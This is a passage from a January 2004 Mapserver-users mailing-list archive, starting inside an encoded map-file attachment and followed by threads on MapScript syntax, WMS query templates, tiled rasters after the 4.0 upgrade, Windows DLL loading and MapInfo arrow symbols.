AAgAtFaSL8/aMhg8AAAARxcAABoAAAAAAAAAAAAgAICBzw0AAHNtYWxsX2Fycm93X2ZvbnRfcG9p bnQuZGJmUEsFBgAAAAAHAAcAywEAAEMOAAAAAA== ------_=_NextPart_001_01C3D38F.73720431 Content-Type: application/octet-stream; name="test_demo.map" Content-Transfer-Encoding: base64 Content-Description: test_demo.map Content-Disposition: attachment; filename="test_demo.map" Iw0KIyBTdGFydCBvZiBtYXAgZmlsZQ0KIw0KTkFNRSBERVYNClNUQVRVUyBPTg0KU0laRSA0MzAg MzgwDQpFWFRFTlQgNTEwMzUwIDUwMzUyNTAgNTEwOTUwIDUwMzU5NTANCg0KVU5JVFMgTUVURVJT DQoNCiNTSVpFIDEwMDAgMTAwMA0KDQpTWU1CT0wNCiAgICAgIE5BTUUgImRhc2hlZF9saW5lIg0K ICAgICAgVFlQRSBlbGxpcHNlDQogICAgICBQT0lOVFMgMiAyIEVORA0KICAgICAgRklMTEVEIFRS VUUNCiAgICAgIFNUWUxFIDIgNSBFTkQNCkVORA0KDQpTWU1CT0wNCiAgTkFNRSAiYXJyb3ciDQog IFRZUEUgcG9pbnQNCiAgRk9OVCB3aW5nZG5nDQogICNDSEFSQUNURVIgIk8iIyIgICAgICAgICAg ICAgICAgICAgICAgICAgLT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiDQogIFBPU0lU SU9OIENDDQogIEdBUCAtMTANCkVORA0KDQpERUJVRyBUUlVFDQpTSEFQRVBBVEggImRhdGEiDQpJ TUFHRUNPTE9SIDE4OSAxOTggMjA2DQoNCg0KUFJPSkVDVElPTg0KICANCiAgInByb2o9dXRtIg0K ICAiZWxscHM9V0dTODQiDQogICJkYXR1bT1XR1M4NCINCiAgInpvbmU9MzIiDQogICJub3J0aCIN CiAgIm5vX2RlZnMiDQogIA0KICAgDQpFTkQNCg0KDQoNCk9VVFBVVEZPUk1BVA0KICBOQU1FIHBu Zw0KICBEUklWRVIgIkdEL1BORyINCiAgTUlNRVRZUEUgImltYWdlL3BuZyINCiAgSU1BR0VNT0RF IFJHQg0KICBFWFRFTlNJT04gInBuZyINCkVORA0KDQoNCklNQUdFVFlQRSBQTkcNCg0KDQoNCldF Qg0KICBIRUFERVIgZGVtb19oZWFkZXIuaHRtbA0KICBURU1QTEFURSBkZW1vLmh0bWwNCiAgRk9P VEVSIGRlbW9fZm9vdGVyLmh0bWwNCiAgI01JTlNDQUxFIDEwMDANCiAgI01BWFNDQUxFIDE1NTAw MDANCiAgSU1BR0VQQVRIICJzZXQgaW4gZGVtb19pbml0Lmh0bWwiDQogIElNQUdFVVJMICJzZXQg aW4gZGVtb19pbml0Lmh0bWwiDQpFTkQNCkZPTlRTRVQgIkM6XFdJTkRPV1NcRm9udHNcZm9udHMu dHh0Ig0KI0ZPTlRTRVQgIkM6XFdJTkRPV1NcRm9udHNcV2luZ2RuZzMudHRmIg0KDQoNClNZTUJP TA0KICAgIE5BTUUgJ2NhcnRvX2xpbmUnDQogICAgVFlQRSBDQVJUT0xJTkUNCiAgICAjTGluZWNh cCAtIFJPVU5ELCBTUVVBUkUsIFRSSUFOR0xFLCBCVVRUIC0gZGVmYXVsdCBCVVRUDQogICAgTElO RUNBUCBCVVRUDQogICAgI0xpbmVqb2luIC0gUk9VTkQsIEJFVkVMLCBNSVRFUiAtIGRlZmF1bHQg Tk9ORQ0KICAgICNMSU5FSk9JTiBCRVZFTA0KICAgICNMSU5FSk9JTk1BWFNJWkUgNQ0KRU5EDQoN ClNZTUJPTA0KICAgIE5BTUUgJ2NsaW5lJw0KICAgIFRZUEUgZWxsaXBzZQ0KICAgIFBPSU5UUyAN CiAgICAgMSAxDQogICAgRU5EDQpFTkQNCg0KDQpMQVlFUg0KICBOQU1FIHZpZV9uYXZ0ZWNoDQog IFBST0pFQ1RJT04NCiAgICJwcm9qPWxvbmdsYXQiDQogICAiZWxscHM9aW50bCINCiAgICJub19k ZWZzIg0KICAgRU5EDQogIFNUQVRVUyBPRkYNCiAgREFUQSB2aWUzX3BvbHlsaW5lDQogIFRZUEUg TElORQ0KICAgQ0xBU1MNCiAgICBTVFlMRSANCiAgICAgIFNZTUJPTCAnY2FydG9fbGluZScNCiAg ICAgIFNJWkUgOQ0KICAgICAgQ09MT1IgMTIwIDE0MCAyNTUNCiAgICAgIEFOVElBTElBUyBUUlVF DQogICAgRU5EDQogIEVORA0KRU5EICMgdmllIG5hdnRlY2gNCg0KTEFZRVINCiAgTkFNRSB2aWVf bmF2dGVjaDINCiAgI01BWFNDQUxFIDYwMDAwMA0KICBTVEFUVVMgT0ZGDQogIFBST0pFQ1RJT04N CiAgInByb2o9bG9uZ2xhdCINCiAgImVsbHBzPWludGwiDQogICJub19kZWZzIg0KICBFTkQNCiAg REFUQSB2aWUzX3BvbHlsaW5lDQogICNDT05ORUNUSU9OVFlQRSBPR1INCiAgI0NPTk5FQ1RJT04g ICJjOlxtYXBzZXJ2ZXJcaXRhc2NhXGRhdGFcdmllMS50YWIiDQogIExBQkVMSVRFTSAiU3RObV9C YXNlIg0KICBMQUJFTENBQ0hFIE9ODQogIFRZUEUgTElORQ0KICAgQ0xBU1MNCiAgICBMQUJFTA0K ICAgICAgQU5HTEUgQVVUTw0KICAgICAgQlVGRkVSIDANCiAgICAgIFBBUlRJQUxTIFRSVUUNCiAg ICAgICNGT1JDRSBUUlVFDQogICAgICBGT05UICJ2ZXJkYW5hIg0KICAgICAgQU5USUFMSUFTIFRS VUUNCiAgICAgIFBPU0lUSU9OIENDDQogICAgICBTSVpFIDcNCiAgICAgIFRZUEUgVFJVRVRZUEUN CiAgICAgIE9VVExJTkVDT0xPUiAyNTUgMjU1IDI1NQ0KICAgICAgQ09MT1IgMCAwIDANCiAgICBF TkQNCiAgICBTVFlMRQ0KICAgICAgU1lNQk9MICdjYXJ0b19saW5lJw0KICAgICAgU0laRSA3DQog ICAgICBDT0xPUiAyNTUgMjU1IDI1NQ0KICAgICAgQU5USUFMSUFTIFRSVUUNCiAgICBFTkQNCiAg RU5EDQpFTkQgIyB2aWUgbmF2dGVjaA0KDQpMQVlFUg0KICBOQU1FIGZyZWNjaWVfbmF2dGVjaA0K ICBQUk9KRUNUSU9ODQogICJwcm9qPWxvbmdsYXQiDQogICJlbGxwcz1pbnRsIg0KICAibm9fZGVm cyINCiAgRU5EDQogIFNUQVRVUyBPRkYNCiAgREFUQSBjaGlhdmVfaW5fcGlhenphbGVfc2VnZXN0 YSNhcnJvdyN2aWUzX3BvbHlsaW5lDQogIENPTk5FQ1RJT05UWVBFIE9HUg0KICBDT05ORUNUSU9O ICAiYzpcbWFwc2VydmVyXGl0YXNjYVxkYXRhXGNoaWF2ZV9pbl9waWF6emFsZV9zZWdlc3RhLnRh YiIjY2hpYXZlX2luX3BpYXp6YWxlX3NlZ2VzdGEudGFiIiNhcnJvdy50YWIiDQogIFNUWUxFSVRF TSAiQVVUTyINCiAgVFlQRSBwb2ludA0KICAgQ0xBU1MNCiAgICAjU1RZTEUNCiAgICAgICNTWU1C T0wgMQ0KICAgICAgc2l6ZSAyMA0KICAgICAgQ09MT1IgODggODggMjQ1DQogICAgICAjQU5USUFM SUFTIFRSVUUNCiAgICBFTkQNCiAgRU5EDQpFTkQNCg0KDQoNCkVORCAjIE1hcCBGaWxl ------_=_NextPart_001_01C3D38F.73720431-- From hjulien at nrcan.gc.ca Mon Jan 5 06:22:46 2004 From: hjulien at nrcan.gc.ca (Julien, Heryk) Date: Mon, 5 Jan 2004 09:22:46 -0500 Subject: [Mapserver-users] MySQL and Mapserver Message-ID: <06B403677C41D51194550002A55107D201F78F75@s5-stf1-r1.nrn.nrcan.gc.ca> Hi, I am also very interseted in that fonction. I would like to be able to map well positions from a database x and y colums. Would this permit me to have an up to date point geometry layer which reflects the changes in my well database? Can you send me more details? Thanks H?ryk NRCan -----Message d'origine----- De : Paul Spencer [mailto:pagameba at magma.ca] Envoy? : Saturday, January 03, 2004 4:28 PM ? : bartvde at xs4all.nl Cc : mapserver-users at lists.gis.umn.edu Objet : Re: [Mapserver-users] MySQL and Mapserver Bart, if you are interested in point geometries only, there is a new format in OGR to set up a virtual layer that can draw columns from any ODBC data source and map two of the columns to x and y locations. We've used it for a couple of clients and it works very nicely. If you are interested I can send you more details. Cheers, Paul Bart van den Eijnden wrote: > Hi list, > > I see in the history log that there has been some work done recently > (early December) by Attila on supporting MySQL 4.X for the MyGIS > connector. Can it be used already? > > Also, is it possible to keep the geometries in shapefiles and use > Mapserver JOINS to link to tables in MySQL? > > Thanks in advance for the info. > > Best regards, > Bart > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer spencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hjulien at nrcan.gc.ca Mon Jan 5 06:53:14 2004 From: hjulien at nrcan.gc.ca (Julien, Heryk) Date: Mon, 5 Jan 2004 09:53:14 -0500 Subject: [Mapserver-users] WMS & Web Object Empty tag Message-ID: <06B403677C41D51194550002A55107D201F78F76@s5-stf1-r1.nrn.nrcan.gc.ca> Hi to all, I'm successfully calling a remote MapServer WMS layers in my mapfile. However when I query a zone with no features, my "Empty" tag is ignored. Just to make sure I added the "WEB EMPTY" mapfile object in both the wms client and service mapfiles. But it didn't work. Does anyone know if the "WEB EMPTY" mapfile object is ignored when calling a mapserver WMS service? If I put aside the wms service and use my mapfile directly, the empty tag functions correctly. Anyone can help me? H?ryk NRCan -----Message d'origine----- De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca] Envoy? : Monday, December 29, 2003 11:30 AM ? : 'mapserver-users at lists.gis.umn.edu' Objet : [Mapserver-users] WMS & Web Object Empty tag Hi, First of all, I'm having trouble with the Web Object Empty tag. When I query an unmapped region of my mapfile using a wms GetFeatureInfo call my Web Object EMPTY tag is ignored. EMPTY "http://cgcq.rncan.gc.ca/GASL_clf/mapserver/templates/MS_query_noSel.html" If I use a "Text/html" request format I get a blank page while the "Text/plain" format returns the following message: "GetFeatureInfo results:Search returned no results". I'm presently using the following Web Metadata configuration: "wms_feature_info_mime_type" "Text/html" Secondly, when you add a Mapserver generated wms layer in a Mapfile, which Web Object Empty will be used when no features are selected?. Example: The mapfile "B.map" contains a layer calling a Mapserver WMS service called "A.map". Will mapserver use the Web Object Empty tag in the mapfile A or B when no features are selected during a query? Can anyone help me? ========================================== H?ryk NRCan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric at gomoos.org Mon Jan 5 06:52:30 2004 From: eric at gomoos.org (Eric Bridger) Date: 05 Jan 2004 09:52:30 -0500 Subject: [Mapserver-users] How do i display only the points i want? (PHP/Mapscript) In-Reply-To: <6F8CED36-3EF1-11D8-A14F-0003934DD798@mac.com> References: <6F8CED36-3EF1-11D8-A14F-0003934DD798@mac.com> Message-ID: <1073314356.1443.28.camel@ubet.gomoos.org> Ed, Sorry I don't have a php example but I do have a perl example which illustrates the basic idea, which is to read the shapefile in a loop and draw the points yourself in php mapscript. my $input_town_id = 345; my $layer = $map->getLayerByName('all_towns'); $layer->{status} = $mapscript::MS_ON; my $shpfile = new mapscript::shapefileObj($layer->{data}, -1); if($shpfile){ my $dbfile = $layer->{data} . '.dbf'; my $hDBF = new XBase "$dbfile" or warn XBase->errstr; my $shape = new mapscript::shapeObj($mapscript::MS_POINT); my $numshapes = $shpfile->{numshapes}; for my $i (0 .. $numshapes - 1){ my $ret = $shpfile->get($i, $shape); if($ret != -1){ my $town_id = ($hDBF->get_record_nf($i, 0))[1] or warn $hDBF->errstr . "\n"; if($town_id eq $input_town_id){ my $class = $layer->getClass(0); # you could set class attributes here. $shape->draw($map, $layer, $img, undef); } } } # end for numshapes $hDBF->close(); } On Sun, 2004-01-04 at 15:06, Ed Martin wrote: > i'm using php mapscript and can't figure out how i get it to only > display the points i want, i have a shapefile that has all the towns in > the US (they are all points) and i have the index of every point i want > to display, i can't figure out how to do this > > so basically what do i do to first make it so that by default the > points don't show up on the map, but when i give the index of one of > the points it shows up > > i looked at the php mapscript class reference stuff and can't find > anything that looks like it will do this > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From keon at nacse.org Mon Jan 5 07:45:32 2004 From: keon at nacse.org (Dylan Keon) Date: Mon, 05 Jan 2004 07:45:32 -0800 Subject: [Mapserver-users] Label outlinecolor in PHP MapScript? Message-ID: <3FF9869C.8000602@nacse.org> Anyone know the correct syntax for setting a label outlinecolor in PHP MapScript? I'm using MS 4.0.1. The following code gives me a "Call to a member function on a non-object" error on line 84. Thanks, Dylan 80 if($map->scale <= 140000) { 81 $quad_layer = $map->getLayerByName('quad_index_24k'); 82 $quad_class = $quad_layer->getClass(0); 83 $quad_style = ms_newStyleObj($quad_class); 84 $quad_style->{label}->outlinecolor->setRGB(255,255,255); 85 } LAYER NAME quad_index_24k TYPE POLYGON DATA quad24k STATUS ON MAXSCALE 2400000 LABELMAXSCALE 600000 LABELMINSCALE 20000 TEMPLATE "null" CLASS OUTLINECOLOR 0 25 140 COLOR -1 -1 -1 TEXT ([MAP_NAME] [OHIOCODE]) LABEL WRAP " " POSITION CC SIZE SMALL FORCE TRUE MINFEATURESIZE 35 #OUTLINECOLOR 255 255 255 END END END From ms_sbittner at gmx.de Mon Jan 5 08:18:21 2004 From: ms_sbittner at gmx.de (Steffen Bittner) Date: Mon, 5 Jan 2004 17:18:21 +0100 (MET) Subject: [Mapserver-users] Problem with tiled raster data and ms4 Message-ID: <9802.1073319501@www18.gmx.net> Dear list, I'm using MapServer under win2000 with apache 1.3.27. After upgrading from ms 3.6 to 4.0 I have the problem that ms does not draw tiled raster data anymore. When I access a tiled raster layer I get no result from the web server. In the task manager I see the mapserv-process, but no result will be delivered to the client. I get no result or error message until I stop the apache-service. The same problem I experience when I access the layer using mapscript (then I see php.exe in the task manager as long as I do not terminate the apache-service). There are no errors logged in the MapServer log and no error messages in the apache log. When I use mapserv with my Query included in the "QUERY_STRING=" Parameter I get the correct result - the http-content I expect written to stdout. When I use shp2img I get the correct image. When I set the environment variable MS_ERRORFILE in my http.conf (pointing to some file) it only contains the message "msBuildPath: Unable to access file." When I use apache 2.0.48 anything works fine. Can anybody give me a hint? Where is my mistake? Does ms4 have a problem with apache 1.3.x? Thanks in advance for your help. Steffen Bittner From keon at nacse.org Mon Jan 5 08:30:12 2004 From: keon at nacse.org (Dylan Keon) Date: Mon, 05 Jan 2004 08:30:12 -0800 Subject: [Mapserver-users] Problem with tiled raster data and ms4 In-Reply-To: <9802.1073319501@www18.gmx.net> References: <9802.1073319501@www18.gmx.net> Message-ID: <3FF99114.3090201@nacse.org> There were many changes between 3.6 and 4.0. Be sure to read the 4.0 Migration Guide in the Wiki - http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide . For example, OFFSITE now expects an RGB value instead of a color index value. If you're using OFFSITE on your tiled raster layer, that could be your problem (maybe). The Wiki page includes more examples. --Dylan On 01/05/2004 08:18 AM Steffen Bittner wrote: > Dear list, > > I'm using MapServer under win2000 with apache 1.3.27. > > After upgrading from ms 3.6 to 4.0 I have the problem that ms does not draw > tiled raster data anymore. > > When I access a tiled raster layer I get no result from the web server. In > the task manager I see the mapserv-process, but no result will be delivered to > the client. I get no result or error message until I stop the > apache-service. > > The same problem I experience when I access the layer using mapscript (then > I see php.exe in the task manager as long as I do not > terminate the apache-service). > > There are no errors logged in the MapServer log and no error messages in the > apache log. > > When I use mapserv with my Query included in the "QUERY_STRING=" Parameter I > get the correct result - the http-content I expect written to stdout. When I > use shp2img I get the correct image. > > When I set the environment variable MS_ERRORFILE in my http.conf (pointing > to some file) > it only contains the message "msBuildPath: Unable to access file." > > When I use apache 2.0.48 anything works fine. > > Can anybody give me a hint? Where is my mistake? Does ms4 have a problem > with apache 1.3.x? > > Thanks in advance for your help. > Steffen Bittner > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ************************************************************** Dylan Keon - GIS/Database Specialist Northwest Alliance for Computational Science and Engineering Oregon State University Corvallis, OR 97331 keon at nacse.org voice: 541-737-6608 fax: 541-737-6609 ************************************************************** From ed at topozone.com Mon Jan 5 08:36:22 2004 From: ed at topozone.com (Ed McNierney) Date: Mon, 5 Jan 2004 11:36:22 -0500 Subject: [Mapserver-users] Problem with tiled raster data and ms4 Message-ID: <13858AA1A74F30419F319ACB66A9D12203AF5C@mercator.topozone.com> Steffen - You might try modifying your map file to treat the TILEINDEX shape file as a POLYGON. That is, change the layer type to POLYGON and change the TILEINDEX statement to a DATA statement. This should display the outlines of the tiles as polygons. This will help you determine whether the problem is in accessing the TILEINDEX file or in the tiled images themselves. Your problem is almost certainly due, however, to the changes in path handling between 3.6 and 4.0. Try rebuilding your TILEINDEX with absolute paths (I'm guessing they're relative now) and I expect that will fix the problem. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Steffen Bittner [mailto:ms_sbittner at gmx.de] Sent: Monday, January 05, 2004 11:18 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Problem with tiled raster data and ms4 Dear list, I'm using MapServer under win2000 with apache 1.3.27. After upgrading from ms 3.6 to 4.0 I have the problem that ms does not draw tiled raster data anymore. When I access a tiled raster layer I get no result from the web server. In the task manager I see the mapserv-process, but no result will be delivered to the client. I get no result or error message until I stop the apache-service. The same problem I experience when I access the layer using mapscript (then I see php.exe in the task manager as long as I do not terminate the apache-service). There are no errors logged in the MapServer log and no error messages in the apache log. When I use mapserv with my Query included in the "QUERY_STRING=" Parameter I get the correct result - the http-content I expect written to stdout. When I use shp2img I get the correct image. When I set the environment variable MS_ERRORFILE in my http.conf (pointing to some file) it only contains the message "msBuildPath: Unable to access file." When I use apache 2.0.48 anything works fine. Can anybody give me a hint? Where is my mistake? Does ms4 have a problem with apache 1.3.x? Thanks in advance for your help. Steffen Bittner _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From V.Honzik at sh.cvut.cz Mon Jan 5 08:51:22 2004 From: V.Honzik at sh.cvut.cz (Vojtech Honzik) Date: Mon, 5 Jan 2004 17:51:22 +0100 (CET) Subject: [Mapserver-users] mapscript problem In-Reply-To: <20040104180002.25731.65540.Mailman@lists.gis.umn.edu> Message-ID: I would like to run mapscript on our new server running on windows XP. I use the same directories, same configuration files for Apache and PHP, the same versions for all installed components (PHP 4.3.4, MapServer 4.1, Mapscript 4.1, Apache 2.0.47 ). When I try to execute following code on machine running windows 2000, all seems to be ok, but it returns error message on XP machine - Warning: dl(): Unable to load dynamic library 'C:\Program Files\Apache\PHP\extensions\php_mapscript.dll' - Uveden? modul nebyl nalezen. in C:\www\ohoho.phtml on line 8) Don't be confused by several words in czech, it says just Listed module wasn't found. I tried to add next library php_crack.dll to ensure that the extension path works, but nothing seems to be changed. Do you have any idea what else should I try to be able to run MapScript applications? Thank you, Vojtech Honzik From morissette at dmsolutions.ca Mon Jan 5 08:52:44 2004 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 05 Jan 2004 11:52:44 -0500 Subject: [Mapserver-users] Label outlinecolor in PHP MapScript? In-Reply-To: <3FF9869C.8000602@nacse.org> References: <3FF9869C.8000602@nacse.org> Message-ID: <3FF9965C.9040409@dmsolutions.ca> Dylan Keon wrote: > > The following code gives me a "Call to a member function on a > non-object" error on line 84. > > Thanks, > Dylan > > > 80 if($map->scale <= 140000) { > 81 $quad_layer = $map->getLayerByName('quad_index_24k'); > 82 $quad_class = $quad_layer->getClass(0); > 83 $quad_style = ms_newStyleObj($quad_class); > 84 $quad_style->{label}->outlinecolor->setRGB(255,255,255); > 85 } > The label is still a member of the classObj, it is not part of the styleObj. Try the following: $quad_class->label->outlinecolor->setRGB(255,255,255); Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From V.Honzik at sh.cvut.cz Mon Jan 5 08:57:05 2004 From: V.Honzik at sh.cvut.cz (Vojtech Honzik) Date: Mon, 5 Jan 2004 17:57:05 +0100 (CET) Subject: [Mapserver-users] Re: mapscript problem In-Reply-To: Message-ID: Sorry, I actually use 4.0, not 4.1 version. Vojtech Honzik > I would like to run mapscript on our new server running on windows XP. > I use the same directories, same configuration files for Apache and PHP, > the same versions for all installed components (PHP 4.3.4, MapServer > 4.0, Mapscript 4.0, Apache 2.0.47 ). From keon at nacse.org Mon Jan 5 08:58:06 2004 From: keon at nacse.org (Dylan Keon) Date: Mon, 05 Jan 2004 08:58:06 -0800 Subject: [Mapserver-users] Label outlinecolor in PHP MapScript? In-Reply-To: <3FF9965C.9040409@dmsolutions.ca> References: <3FF9869C.8000602@nacse.org> <3FF9965C.9040409@dmsolutions.ca> Message-ID: <3FF9979E.30709@nacse.org> On 01/05/2004 08:52 AM Daniel Morissette wrote: > Dylan Keon wrote: > >> The following code gives me a "Call to a member function on a >> non-object" error on line 84. >> >> Thanks, >> Dylan >> >> 80 if($map->scale <= 140000) { >> 81 $quad_layer = $map->getLayerByName('quad_index_24k'); >> 82 $quad_class = $quad_layer->getClass(0); >> 83 $quad_style = ms_newStyleObj($quad_class); >> 84 $quad_style->{label}->outlinecolor->setRGB(255,255,255); >> 85 } > > The label is still a member of the classObj, it is not part of the > styleObj. Try the following: > > $quad_class->label->outlinecolor->setRGB(255,255,255); That did it. Thanks Daniel. --Dylan From hugo at pbh.gov.br Mon Jan 5 11:23:35 2004 From: hugo at pbh.gov.br (Hugo Nathaniel Rodrigues) Date: Mon, 5 Jan 2004 17:23:35 -0200 Subject: [Mapserver-users] easy question Message-ID: <000a01c3d3c1$6a44f9c0$7a00110a@ESTIVA> This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C3D3B0.A67E3660 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable i have this coordinates: x 618579,06 y 806912,68 (meters) what i need to put in my map file (using gmap75.map example) to show a = point (or symbol or anything) in this point of the map? this is my extent: EXTENT 598047.223047 781652.733880 619791.428883 812944.406142 i has looking at the documentation but didnt find a way (im still = trying) cheers Hugo Rodrigues Analista/Consultor SSSS - Prodabel ------=_NextPart_000_0007_01C3D3B0.A67E3660 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
i have this coordinates:
 
x 618579,06
y = 806912,68
(meters)
 
what i need to put in my map file = (using gmap75.map=20 example) to show a point (or symbol or anything) in this point of the=20 map?
this is my extent:
 
EXTENT 598047.223047 = 781652.733880=20 619791.428883 812944.406142
 
i has looking at the documentation but = didnt find a=20 way (im still trying)
 
cheers
Hugo = Rodrigues
Analista/Consultor
SSSS -=20 Prodabel
------=_NextPart_000_0007_01C3D3B0.A67E3660-- From eric at gomoos.org Mon Jan 5 12:21:58 2004 From: eric at gomoos.org (Eric Bridger) Date: 05 Jan 2004 15:21:58 -0500 Subject: [Mapserver-users] easy question In-Reply-To: <000a01c3d3c1$6a44f9c0$7a00110a@ESTIVA> References: <000a01c3d3c1$6a44f9c0$7a00110a@ESTIVA> Message-ID: <1073334124.1443.112.camel@ubet.gomoos.org> On Mon, 2004-01-05 at 14:23, Hugo Nathaniel Rodrigues wrote: > i have this coordinates: > > x 618579,06 > y 806912,68 > (meters) > > what i need to put in my map file (using gmap75.map example) to show a point (or symbol or anything) in this point of the map? > this is my extent: > > EXTENT 598047.223047 781652.733880 619791.428883 812944.406142 > You'll want to use the LAYER FEATURE tag in your map file. This works for mapserver 3.6. LAYER NAME "test_point" STATUS DEFAULT TYPE POINT CLASS COLOR 0 0 0 SIZE 10 END FEATURE POINTS 618579.06 806912.68 END END END From lacroix at dmsolutions.ca Mon Jan 5 13:10:04 2004 From: lacroix at dmsolutions.ca (Julien-Samuel Lacroix) Date: Mon, 05 Jan 2004 16:10:04 -0500 Subject: R: [Mapserver-users] Mapinfo symbols In-Reply-To: <4B1A1EC0790F054193453C48725D43180B8CBC@MSGBE1V1.seat.it> References: <4B1A1EC0790F054193453C48725D43180B8CBC@MSGBE1V1.seat.it> Message-ID: <3FF9D2AC.4080508@dmsolutions.ca> Hi Yvain, While checking your problem I noticed why angle is ignored with the STYLEITEM "AUTO" in your layer. It's because the angle is not supported for symbols. It's only supported for labels. So your arrows can't have the good angle. I opened two bugs for this 532 and 533 http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=532 http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=533 But I don't know when it will be fixed. A work around could be to use a font with symbol in it and put labels in your map that will be arrows. Then the angle will be used correctly. But there's certainly a better way to acheive what you want. Anybody on the list has a suggestion? Best regards, Julien Ballini Yvain wrote: > Hi Daniel, > > I'm turning to the topic of the orientation of point symbol, do you know where I can find on the mapserver source the part which manages the symbols tuned by OGR. I would like to try to do some update on my mapsrver version to solve this problem. > Thanks a lot. > Yvain. > > -----Messaggio originale----- > Da: Daniel Morissette [mailto:morissette at dmsolutions.ca] > Inviato: gioved? 18 dicembre 2003 0.43 > A: Ballini Yvain > Cc: mapserver-users at lists.gis.umn.edu > Oggetto: Re: [Mapserver-users] Mapinfo symbols > > Yvain, > > Um, I checked the code and it seems that we ignore the angle value coming from STYLEITEM AUTO for point symbols. Could please you submit a bug with a small mapfile and arrow.tab to reproduce this? I'm not sure when we would have time to work on this, but with a testcase to reproduce it's always easier for us. > > Thanks > > Daniel > > > Ballini Yvain wrote: > >>Hi list, >> >>I would like to read the arrows of a .tab file in mapserver: the pb is >>that I can read the position but not the orientation of the arrow >>which is contained in the "Style" line of the .tab (see under). >>when I try to read my file arrow.tab with ogrinfo it turns me these >>properties for the arrow layer: >> >>Layer name: arrow >>Geometry: Point >>Feature Count: 267349 >>Extent: (6.682870, 36.681040) - (18.495850, 46.895265) Layer SRS WKT: >>GEOGCS["unnamed", >> DATUM["WGS_1984", >> SPHEROID["WGS 84",6378137,298.257223563], >> TOWGS84[0,0,0,0,0,0,0]], >> PRIMEM["Greenwich",0], >> UNIT["degree",0.0174532925199433]] >>LABEL: String (70.0) >>OGRFeature(arrow):1 >> LABEL (String) = >> Style = SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1") >> POINT (8.85458500 45.96559000) >> >>OGRFeature(arrow):2 >> LABEL (String) = >> Style = SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1") >> POINT (8.85458500 45.96559000) >>........ >> >>I define my arrow layer like that: >>LAYER >> NAME freccie_navtech >> PROJECTION >> "proj=longlat" >> "ellps=intl" >> "no_defs" >> END >> STATUS OFF >> DATA arrow#chiave_in_piazzale_segesta#arrow#vie3_polyline >> CONNECTIONTYPE OGR >> CONNECTION >>"c:\mapserver\itasca\data\arrow.tab"#chiave_in_piazzale_segesta.tab"#a >>rr >>ow.tab" >> STYLEITEM "AUTO" >> TYPE point >> CLASS >> #STYLE >> # SYMBOL arrow >> # size 20 >> COLOR 88 88 245 >> #ANTIALIAS TRUE >> #END >> END >>END >> >>I think I can't recognize the id mapinfo-sym-111 which represents the >>arrow...but the position of the default point symbol is right on the >>map. >>Does someone know something about this problem or if there is a >>setting in the mapfile which could solve my problem? >>Thanks a lot. >>Yvain. >> >> > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ------------------------------------------------------------ Julien-Samuel Lacroix lacroix at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From hjulien at nrcan.gc.ca Mon Jan 5 13:37:12 2004 From: hjulien at nrcan.gc.ca (Julien, Heryk) Date: Mon, 5 Jan 2004 16:37:12 -0500 Subject: [Mapserver-users] Mapserver 401: Reference image bounding box Message-ID: <06B403677C41D51194550002A55107D201F78F78@s5-stf1-r1.nrn.nrcan.gc.ca> Hi, Anyone else having trouble or found a solution to the reference image "bounding box" not being drawn? I selected a red bounding box (outlinecolor 255 0 0) in my mapfile but it is not showing up on the reference image! I'm using Mapserver 401. H?ryk NRCan > -----Message d'origine----- > De : Julien, Heryk > Envoy? : Thursday, December 18, 2003 2:28 PM > ? : 'mapserver-users at lists.gis.umn.edu' > Objet : reference image bounding box > > Hi, > I'm having trouble with my reference image bounding box. The reference > image appears and I can navigate in my map by clicking in the reference > image however the bounding box doesn't display in the reference image. > Anyone had that trouble before? > > Mapfile: > # > # Start of reference map > # > REFERENCE > COLOR -1 -1 -1 > EXTENT 493163 4857827 2100223 5910452 > STATUS ON > OUTLINECOLOR 255 0 0 > SIZE 175 117 > IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" > END #REFERENCE > > ========================================== > H?ryk > NRCan > From teb at mallit.fr.umn.edu Mon Jan 5 13:45:31 2004 From: teb at mallit.fr.umn.edu (Thomas E Burk) Date: Mon, 5 Jan 2004 15:45:31 -0600 (CST) Subject: [Mapserver-users] Tutorial nor Demo files are available Message-ID: <200401052145.i05LjV6M028485@mallit.fr.umn.edu> The 4.0 Tutorial is available again at the link on the Documentation page. Tom >From: Thomas E Burk >Subject: Re: [Mapserver-users] 